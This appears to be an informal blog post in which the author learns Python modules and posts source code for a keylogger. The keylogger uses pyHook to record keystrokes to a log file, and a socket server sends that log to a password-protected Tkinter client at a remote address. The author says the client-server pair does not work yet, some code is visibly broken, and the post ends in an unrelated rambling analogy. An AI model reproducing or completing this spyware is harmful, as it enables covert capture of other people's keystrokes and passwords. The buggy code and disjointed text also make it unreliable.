ok so lately i have been looking alot into python ive come out with a bit of information ive been looking at things like
*pyHook *re *pythoncom *sockets *threads
pyHook
the functions avalable in this let you get inbetween the mouse/keyboard drives and the operating system allowing to get mouse position and keyspressed
re
this allows the use of regular expressions in python
sockets
gives us the ability to use python for low level network programming.
threads
ability to create threads to run modules or classes as threads in your program.. i used this in mine to avoide a freeze on the server program.. i had the whole server conection run under a new thread so that the Computer wouldent lock up while waiting for a client connection.. basically it allowed me to set up the server and run my keylooger at the same time!
server program
import pyHook import pythoncom import socket from threading import Thread def connection(): while 1: filename = "C:\\Log.txt" serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversocket.bind(("localhost", 5000)) serversocket.listen(1) clientsocket, address = serversocket.accept() file = open(filename, "r") data = file.read() file.close() clientsocket.send(data) file = open(filename, "w") file.close() def KeyDown(event): filename = "C:\\Log.txt" char = event.Key key = event.Ascii if key <= 126 and key >= 33: key = chr(event.Ascii) file = open(filename, "a") file.write(key) file.close() elif char == "Space": file = open(filename, "a") file.write(' ') file.close() elif char == "Return": file = open(filename, "a") file.write("\n") file.close() elif char == "Back": file = open(filename, "a") file.write("\b") file.close() return True hm = pyHook.HookManager() hm.KeyDown = KeyDown hm.HookKeyboard() thread1 = Thread(target=connection) thread1.start() pythoncom.PumpMessages()
Client and server not working yet
client
import socket from Tkinter import * password = 'jon' def errorWindowKill(error_window): error_window.destroy() def pwdin(): key = ent.get() if key != password: print 'Need to replace with window error or label error' error_window = Toplevel(takefocus =1, relief = 'ridge') error_window.geometry("120x60+500+500") error_msg = Label(error_window, text = 'Incorrect', justify = "center", font = ("Times", 16,)) ok_button = Button(error_window, text = 'Ok', justify = "center",height = 1, width = 10, command = lambda : errorWindowKill(error_window)) error_msg.pack() ok_button.pack() else: pwdcheck.destroy() instructions() def instructions(): greeting = Label(root, text = 'Welcome') greeting.pack() connectButton.pack(side = "left") getLogButton.pack(side = "left") #connectButton.grid(row = 0, column = 0) #getLogButton.grid(row = 0, column = 1) ##################################################### #added this function to get ip address and port from# #user to explain starting at line 1 # #create new window assign it to ipAddrWindow # #create text label so user knows what to do # #create entry for ip address # #text for port # #entry box for port # #create ok button giving it the command socket have # #not created this function yet # #pack everything so it shows up # ##################################################### def ip_grab(): global iptext global porttext global ipAddrWindow ipAddrWindow = Toplevel() prompt = Label(ipAddrWindow, text = 'Enter IP Address') iptext = Entry(ipAddrWindow, bg = 'white') portpromt = Label(ipAddrWindow, text = 'Enter Port Number') porttext = Entry(ipAddrWindow, bg = 'white') okbut = Button(ipAddrWindow, text = "OK", command = socket) prompt.pack() iptext.pack() portpromt.pack() porttext.pack() okbut.pack() def socket(): import socket global ip, port, client_socket ip = iptext.get() port = porttext.get() ipAddrWindow.destroy() client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ip, int(port))) def log_grab(): filename = "C:\\Python26\\log1.txt" BUFSIZE = 1024 flag = 1 client_socket.send(flag) while flag == 1: data = client_socket.recv(BUFSIZE) if data: file = open(filename, "a") file.write(data) else: file.write(data) flag = 0 break file.close() #################################################### #Create Main Window # #Create Password Window # #Create label promt password text # #Create Entry Box for password window backrnd white# #Pack all three widgits # #################################################### root = Tk() root.title('Log') pwdcheck = Toplevel(bd = 10, takefocus =1, relief = 'ridge') pwdcheck.geometry("200x80+500+500") pwdcheck.resizable(width = 0, height = 0) passtxt = Label(pwdcheck, text = 'Password') ent = Entry(pwdcheck, bg = 'white', show = '*', justify = CENTER) button = Button(pwdcheck, text = 'OK', command = pwdin, height = 10, width = 15) ent.focus() passtxt.pack() ent.pack() button.pack() connectButton = Button(root, text = 'Connect', pady = 10, padx = 10, command = ip_grab) getLogButton = Button(root, text = 'Get Log', pady = 10, padx = 10, command = log_grab) root.mainloop()
server
import pyHook import pythoncom import socket from threading import Thread def connection(): while 1: filename = "C:\\Python26\\log.txt" serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serversocket.bind(("localhost", 5000)) serversocket.listen(5) client_socket, address = serversocket.accept() data = serversocket.recv(1024) if data == 1: file = open(filename, "r") data = file.read() file.close() clientsocket.send(data) file = open(filename, "w") file.close() else: print "error with flag" def KeyDown(event): filename = "C:\\Python26\\log.txt" char = event.Key key = event.Ascii if key <= 126 and key >= 33: key = chr(event.Ascii) file = open(filename, "a") file.write(key) file.close() elif char == "Space": file = open(filename, "a") file.write(' ') file.close() elif char == "Return": file = open(filename, "a") file.write("\n") file.close() elif char == "Back": file = open(filename, "a") file.write("\b") file.close() return True hm = pyHook.HookManager() hm.KeyDown = KeyDown hm.HookKeyboard() thread1 = Thread(target=connection) thread1.start() pythoncom.PumpMessages()
garble garble garble
ok so the way im going to invision this a computer is like a messanger on horse.. so when their is no message their is no need for anything to be done.. as soon as their is a message however things get started.. the messanger first has to go to the address where he picks up this message after picking it up he then has to decode the message that was given to him and then follow the instructions to get it to where the message needs to go. from their someone could possibly want to send another message to someone else or maybe a return message.. at this point the messanger again has to decode the message and follow the instructions to get the message to where it needs to go to go more in depth. the messanger might have to follow instructions on how to build certain things to get the message to where it needs to be or maybe the thing he builds is the message he might also need to make decsisions on what could be the quickest route to get the mail to where it needs to be or maybe if he should stop because its raining or his horse needs water.